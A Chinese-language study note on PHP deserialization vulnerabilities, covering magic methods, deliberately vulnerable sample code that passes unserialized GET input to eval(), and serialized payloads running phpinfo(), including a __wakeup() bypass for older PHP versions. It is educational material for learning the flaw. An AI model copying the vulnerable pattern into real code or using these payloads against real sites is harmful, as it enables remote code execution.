前言
最近看文章看到了php反序列化漏洞,感觉内容有点多,凭脑子一时记不下来,留点文字辅助记忆
魔法方法造成的php反序列化漏洞
先来几个魔法方法
- __construct():当一个类被创建时自动调用
- __destruct():当一个类被销毁时自动调用
- __sleep():当调用serialize()函数时自动调用
- __wakeup():当调用unserialize()函数时自动调用
- __toString():当类被当成字符串时自动调用
当我们反序列化一个对象时,unserialize()会检测是否存在__wakeup()。如果存在,会优先进行调用
如:
<?php
class A{
public $a = 'hello world';
function __wakeup()
{
echo "hello world!!!";
}
}
$aaa = new A();
$sss = serialize($aaa);
$ddd = unserialize($sss);
?>
执行结果:
可见,加入说__wakeup()里存在某些危险函数,我们便可以加以利用
如:
<?php
class A{
var $a = 'echo "hello world";';
function __wakeup()
{
eval($this->a);
}
}
$ddd = unserialize($_GET['str']);
?>
在这个例子中,对GET进来的str变量进行反序列化。此时,魔法方法中存在eval()危险函数,我们可以控制传入的序列化字符串,进行触发,如:
O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}
执行结果:
由此可见,只要发现魔法方法里面存在某些危险函数,我们可以通过精心构造,达到利用。
魔法方法绕过
绕过前提:
- PHP5< 5.6.25
- PHP7< 7.0.10
先来点序列化字符串基础
O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}
花括号前:
- O:表示结构类型为类
- 1:表示类长度为1
- A:表示类名为A
- 1:表示成员个数为1
花括号内:
- s:属性名类型为str
- 1:长度为1
- a:名称为a
- 10:长度为10
- phpinfo();:内容为phpinfo();
绕过本质:
当序列化字符串表示对象属性大于真实的属性个数时会跳过__wakeup()方法
那么,在下面的代码中,我们便可以进行利用:
<?php
class A{
var $a = 'echo "hello world";';
function __wakeup()
{
$this->a = 'echo "hello world";';
}
function __destruct()
{
eval($this->a);
}
}
$ddd = unserialize($_GET['str']);
?>
代码中反序列化的时候,调用__wakeup()方法对$a进行重新复制,使得我们无法利用eval()。但我们构造如下payload:
O:1:"A":2:{s:1:"a";s:10:"phpinfo();";}
对__wakeup()进行绕过,触发成功: